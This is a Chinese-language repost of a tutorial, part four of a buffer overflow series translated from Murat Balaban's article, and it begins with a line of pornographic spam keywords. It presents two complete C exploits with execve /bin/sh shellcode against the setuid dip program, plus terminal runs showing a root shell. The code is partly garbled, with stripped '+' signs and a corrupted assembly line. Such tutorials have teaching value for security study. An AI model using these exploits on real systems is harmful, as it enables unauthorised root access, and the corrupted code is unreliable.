亚洲乱码中文字幕综合,中国熟女仑乱hd,亚洲精品乱拍国产一区二区三区,一本大道卡一卡二卡三乱码全集资源,又粗又黄又硬又爽的免费视频

緩沖區(qū)溢出解密四

互聯(lián)網(wǎng)   發(fā)布時間:2008-10-08 19:04:01   作者:佚名   我要評論
來自Aleph1的文章: “可見這不是一個有效的過程。甚至在知道堆棧開始的位置時,試圖猜測偏移地址幾乎是不可能的。好的情況下我會需要上百次嘗試,壞的情況下會要上千次。問題是我們需要*準(zhǔn)確*的猜測出我們代碼將開始的地址位置。如果我們偏了大概一個字
記得我們之前為了找到校正所作的嗎?
#define BUF 130
#define NOP 0x90
#define ALIGN 1
你已經(jīng)知道下面是我們的shell生成碼:
char sc[]=
"\x31\xc0\x50\x68//sh\x68/bin\x89\xe3\x50\x53\x89\xe1\x99\xb0\x0b\xcd\x80";
這個子程序返回堆棧指針的值。如我以前告訴你們的,這不是漏洞程序的ESP。它是我們漏洞利用程序的ESP,而我們利用這個值僅僅來知道內(nèi)存中漏洞程序堆棧指針可能的位置。它僅僅是考慮到一個范圍:
unsigned long getesp()
{
__asm__("movl %esp, 陎");
}
我們的main():arg[5]是為了execve(),buf[]是我們將供給漏洞緩沖區(qū)的。*ap(代表地址指針)是和buf[]的地址聯(lián)系在一起的。
void main(int argc, char *argv[])
{
int ret, i, n;
char *arg[5], buf[BUF];
int *ap;
如果這個”漏洞利用者”輸入一些值作為一個偏移量,我們從提示的esp中減去這個值,如果沒有,我們使用0xbfffd779做為shellcode的地址。我在用gdb調(diào)試dip的時候發(fā)現(xiàn)了這個地址。它是一個預(yù)先知道的值。
if (argc < 2)
ret = 0xbfffd779;
else
ret = getesp() - atoi(argv[1]); 我們讓地址指針指向buf ALIGMENT的地址:
ap = (int *)(buf ALIGNMENT);
我們校正我們的緩沖區(qū)后,我們先放置返回地址到整個緩沖區(qū):
for (i = 0 ; i < BUF; i = 4)
*ap = ret;
我們將一些NULL操作指令填到緩沖區(qū)的前半部:
for (i = 0; i < BUF / 2; i )
buf[i] = NOP;
在NOP后面,我們放置我們的shellcode:
for (n = 0; n < strlen(sc); n )
buf[i ] = sc[n];
我們?yōu)閑xecve()準(zhǔn)備參數(shù),如果你不明白這個去讀execve的手冊頁:
arg[0] = "/usr/sbin/dip";
arg[1] = "-k";
arg[2] = "-l";
arg[3] = buf;
arg[4] = NULL;

注意上面我提供buf給-l選項。
接著我們execve(),如果一個錯誤產(chǎn)生了,我們通過perror()得到這個錯誤:
execve(arg[0], arg, NULL);
perror(execve);

讓我們執(zhí)行:
[murat@victim murat]$ make xdip2
[murat@victim murat]$ ./xdip2
DIP: Dialup IP Protocol Driver version 3.3.7o-uri (8 Feb 96)
Written by Fred N. van Kempen, MicroWalt Corporation. DIP: cannot open /var/lock/LCK..sh#
[murat@victim murat]$ make xdip2
make: `xdip2' is up to date.
[murat@victim murat]$ ./xdip2
DIP: Dialup IP Protocol Driver version 3.3.7o-uri (8 Feb 96)
Written by Fred N. van Kempen, MicroWalt Corporation. DIP: cannot open /var/lock/LCK..
bash#
如果我們不知道確切的地址,我們需要猜測偏移量。讓我們假設(shè)我們不知道這個地址:
讓我們首先試以-400作為偏移量:
[murat@victim murat]$ ./xdip2 -400
DIP: Dialup IP Protocol Driver version 3.3.7o-uri (8 Feb 96)
Written by Fred N. van Kempen, MicroWalt Corporation. DIP: cannot open /var/lock/LCK..~P~P~P~P~P~P~P~P~P~P~~P~P~P~~P~P~P~P~
~P~P~P~P~P~P~P~P~P~P~P~P~P~~P~P~P~P~P &ucirc;&yuml;: No such file or directory
Segmentation fault
[murat@victim murat]$

啊,讓我們試-350:
[murat@victim murat]$ ./xdip2 -350
DIP: Dialup IP Protocol Driver version 3.3.7o-uri (8 Feb 96)
Written by Fred N. van Kempen, MicroWalt Corporation. DIP: cannot open /var/lock/LCK..~P~P~P~P~P~P~P~P~P~P~~P~P~P~~P~P~P~P~
~P~P~P~P~P~P~P~P~P~P~P~P~P~~P~P~P~P~P &ucirc;&yuml;: No such file or directory
Illegal Instruction
[murat@victim murat]$
讓我們進(jìn)行另一個猜測:
[murat@victim murat]$ ./xdip2 -300
DIP: Dialup IP Protocol Driver version 3.3.7o-uri (8 Feb 96)
Written by Fred N. van Kempen, MicroWalt Corporation. DIP: cannot open /var/lock/LCK..~P~P~P~P~P~P~P~P~P~P~~P~P~P~~P~P~P~P~
~P~P~P~P~P~P~P~P~P~P~P~P~P~~P~P~P~P~P
&ucirc;&yuml;: No such file or directory
bash#

然而,如你所見,猜測正確偏移量是非常乏味的。
現(xiàn)在是環(huán)境變量方法:
xdip.c :
#include <stdio.h>
#include <string.h>
#include <unistd.h> #define BUFSIZE 221
#define ALIGNMENT 1 char sc[]=
"\x31\xc0\x50\x68//sh\x68/bin\x89\xe3\x50\x53\x89\xe1\x99\xb0\x0b\xcd\x80"; void main()
{
char *env[3] = {sc, NULL};
char buf[BUFSIZE];
int i;
int *ap = (int *)(buf ALIGNMENT);
int ret = 0xbffffffa - strlen(sc) - strlen("/usr/sbin/dip"); for (i = 0; i < BUFSIZE - 4; i = 4)
*ap = ret; execle("/usr/sbin/dip", "dip", "-k", "-l", buf, NULL, env);
}
讓我來詳細(xì)說明這個漏洞利用程序:
我們的main()。我們有一個字母指針數(shù)組。因為我們能計算環(huán)境指針的地址,我們把shellcode放到第一個環(huán)境變量的位置。
void main()
{
char *env[2] = {sc, NULL};
char buf[BUFSIZE];
int i; Address pointer points to the aligned address of buffer:
int *ap = (int *)(buf ALIGNMENT);

我們計算我們shellcode的地址。關(guān)于我們?nèi)绾斡嬎愕刂返募?xì)節(jié)見上面: int ret = 0xbffffffa - strlen(sc) - strlen("/usr/sbin/dip");
從緩沖區(qū)的第一個對齊的地址開始,我們放置shellcode的計算地址。我們以四為步長增加i,因為當(dāng)我們以1為步長增加一個指針的時候,意味
著我們每次對其增加了4個字節(jié)。 for (i = 0; i < BUFSIZE - 4; i = 4)
*ap = ret;
接著我們execle()漏洞程序: execle("/usr/sbin/dip", "dip", "-k", "-l", buf, NULL, env);
因為不需要嘗試和猜測,第一次我們就得到root!
[murat@victim murat]$ ./xdip
DIP: Dialup IP Protocol Driver version 3.3.7o-uri (8 Feb 96)
Written by Fred N. van Kempen, MicroWalt Corporation. DIP: cannot open
/var/lock/LCK..h&Otilde;&yuml;&yuml;&iquest;&Otilde;&yuml;&yuml;&iquest;&Otilde;&yuml;
&yuml;&iquest;&Otilde;&yuml;&yuml;&iquest;&Otilde;&yuml;&yuml;&iquest;&Otilde;&yuml;
&yuml;&iquest;&Otilde;&yuml;&yuml;&iquest;&Otilde;&yuml;&yuml;&iquest;&Otilde;&yuml;
&yuml;&iquest;&Otilde;&yuml;&yuml;&iquest;&Otilde;&yuml;&yuml;&iquest;&Otilde;&yuml;
&yuml;&iquest;&Otilde;&yuml;&yuml;&iquest;&Otilde;&yuml;&yuml;&iquest;&Otilde;&yuml;
&yuml;&iquest;&Otilde;&yuml;&yuml;&iquest;&Otilde;
&yuml;&yuml;&iquest;&Otilde;&yuml;&yuml;&iquest;&Otilde;&yuml;&yuml;&iquest;&Otilde;
&yuml;&yuml;&iquest;&Otilde;&yuml;&yuml;&iquest;&Otilde;&yuml;&yuml;&iquest;&Otilde;
&yuml;&yuml;&iquest;&Otilde;&yuml;&yuml;&iquest;&Otilde;&yuml;&yuml;&iquest;&Otilde;
&yuml;&yuml;&iquest;&Otilde;&yuml;&yuml;&iquest;&Otilde;&yuml;&yuml;&iquest;&Otilde;
&yuml;&yuml;&iquest;&Otilde;&yuml;&yuml;&iquest;&Otilde;&yuml;&yuml;&iquest;&Otilde;
&yuml;&yuml;:
No such file or directory
bash#

因此,兩個方法之間的基本不同之處能被列成:
項目 Aleph1的方法 環(huán)境變量方法
-------------------- --------------------- ------------------------ 漏洞緩沖區(qū) 一半緩沖區(qū)被NOP填充, 全部緩沖區(qū)用地址填充
接著是shellcode,然后
是地址
sc的放置 我們放置sc在漏洞緩沖 我們放置sc在傳遞給execve
區(qū)里 ()的環(huán)境指針里
sc的地址 我們試著猜測sc的地址 我們*知道*sc的地址 小緩沖區(qū) 如果sc在緩沖區(qū)中不 因為我們已經(jīng)不把sc放在緩
合適,就很難利用漏洞 沖區(qū),這個就無關(guān)緊要了。僅
如果你選擇把sc放到 僅4個字節(jié)就夠了!
環(huán)境指針里你將必
須猜測環(huán)境指針的
地址
Diffic. Level somewhat harder easier!
最后的文字和致謝
這篇文章原來實際上使用土耳其語寫的。由于翻譯成英語或者其它語言有很多要求,而且實際上環(huán)境變量方法仍然缺少文檔,而我認(rèn)為用英文準(zhǔn)備一篇這樣的文章是一個很好的主意,還有介紹一個更加易懂的shellcode等等,我就寫了這篇文章。這里可能有一些模糊的地方或者甚至是一些需要改正的錯誤信息。如果你碰巧遇到額,給我email,我將改正它。先行致謝。 - Murat Balaban 致謝:a, matsuri, gargoyle
參考書目: ---------- 0. PC Assembly Book by Paul A. Carter. (http://www.drpaulcarter.com/pcasm/) 1. "Smashing the Stack for Fun and Profit" by Aleph1 2.我在許多地方看到過這里我討論的shellcode。我真的不知道誰第一個寫的它所以如果你知道,請告訴我,這樣我能在這里加上。

相關(guān)文章

最新評論